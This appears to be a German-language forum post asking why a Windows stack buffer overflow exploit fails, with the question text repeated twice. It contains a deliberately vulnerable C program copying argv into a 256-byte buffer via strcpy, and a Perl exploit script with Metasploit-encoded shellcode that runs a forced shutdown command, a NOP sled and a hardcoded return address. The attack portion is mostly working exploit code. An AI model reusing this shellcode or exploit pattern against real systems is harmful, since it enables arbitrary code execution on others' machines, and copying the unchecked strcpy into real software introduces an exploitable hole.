Hallo, Ich beschäftige mich nun seit einer Weile mit BufferOverflows unter Windows.
Hatte bissher auch keine Probleme solange der Buffer z.B aus einer Datei eingelesen wird.
Nun allerdings versuche ich die Datei aus der eingelesen wird wegzulassen. Hat auch beim aufruf einer TestFunktion alles geklappt. Also ne Funktion die vom Programm selber nciht aufgerufen wird.
Nun möchte ich allerdings Shellcode ausführen was sich als Problem erweist Warum weis ich auch nicht! Mir ist kein Feher aufgefallen hier mal meine 2 codes
vuln.exe
exploit.pl
alles zusammen ergibt eine Bufferlänge von 272 Bytes die verwändung von andressen müsste auch richtig sein
Die adresse habe ich ermittelt durch das starten von OllyDBG mit einem Argument von 272B und hab dann mit Hilfe von Mathe ausgerechnet, ab wo ich die Adresse brauche.
Meine Frage jetzt ist mach ich nen Denkfehler bei irgentwas oder ist was anderes das Problem
wäre nett wenn man mir helfen könnte ich bin hier wirklcih überfragt
Danke im Vorraus mfg Loader007
Hatte bissher auch keine Probleme solange der Buffer z.B aus einer Datei eingelesen wird.
Nun allerdings versuche ich die Datei aus der eingelesen wird wegzulassen. Hat auch beim aufruf einer TestFunktion alles geklappt. Also ne Funktion die vom Programm selber nciht aufgerufen wird.
Nun möchte ich allerdings Shellcode ausführen was sich als Problem erweist Warum weis ich auch nicht! Mir ist kein Feher aufgefallen hier mal meine 2 codes
vuln.exe
Code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(void) {
printf("HAcked");
}
int main(int argc, char *argv[]) {
char buffer[256];
strcpy(buffer, argv[1]);
return 0;
}
exploit.pl
Code:
#!/usr/bin/perl
# win32_exec - EXITFUNC=seh CMD=shutdown -s -f -t 1000 -c HACKED Size=188 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode = "\x29\xc9\x83\xe9\xd7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f".
"\x15\x0e\xae\x83\xeb\xfc\xe2\xf4\xf3\xfd\x4a\xae\x0f\x15\x85\xeb".
"\x33\x9e\x72\xab\x77\x14\xe1\x25\x40\x0d\x85\xf1\x2f\x14\xe5\xe7".
"\x84\x21\x85\xaf\xe1\x24\xce\x37\xa3\x91\xce\xda\x08\xd4\xc4\xa3".
"\x0e\xd7\xe5\x5a\x34\x41\x2a\xaa\x7a\xf0\x85\xf1\x2b\x14\xe5\xc8".
"\x84\x19\x45\x25\x50\x09\x0f\x45\x84\x09\x85\xaf\xe4\x9c\x52\x8a".
"\x0b\xd6\x3f\x6e\x6b\x9e\x4e\x9e\x8a\xd5\x76\xa2\x84\x55\x02\x25".
"\x7f\x09\xa3\x25\x67\x1d\xe5\xa7\x84\x95\xbe\xae\x0f\x15\x85\xc6".
"\x33\x4a\x3f\x58\x6f\x43\x87\x56\x8c\xd5\x75\xfe\x67\xe5\x84\xaa".
"\x50\x7d\x96\x50\x85\x1b\x59\x51\xe8\x66\x66\xdb\x7b\x71\x61\xd9".
"\x61\x35\x23\xdd\x2f\x38\x68\x8e\x22\x61\x2e\x9f\x3f\x25\x3e\x8e".
"\x22\x76\x2e\xe6\x4e\x56\x45\xeb\x4b\x15\x0e\xae";
$target = "vuln.exe ";
my $nops ="\x90"x80;
my $addr ="\x20\x12\x40\x00";
#272B
$com =$target.$nops.$shellcode.$addr;
exec($com);
alles zusammen ergibt eine Bufferlänge von 272 Bytes die verwändung von andressen müsste auch richtig sein
Die adresse habe ich ermittelt durch das starten von OllyDBG mit einem Argument von 272B und hab dann mit Hilfe von Mathe ausgerechnet, ab wo ich die Adresse brauche.
Meine Frage jetzt ist mach ich nen Denkfehler bei irgentwas oder ist was anderes das Problem
wäre nett wenn man mir helfen könnte ich bin hier wirklcih überfragt
Danke im Vorraus mfg Loader007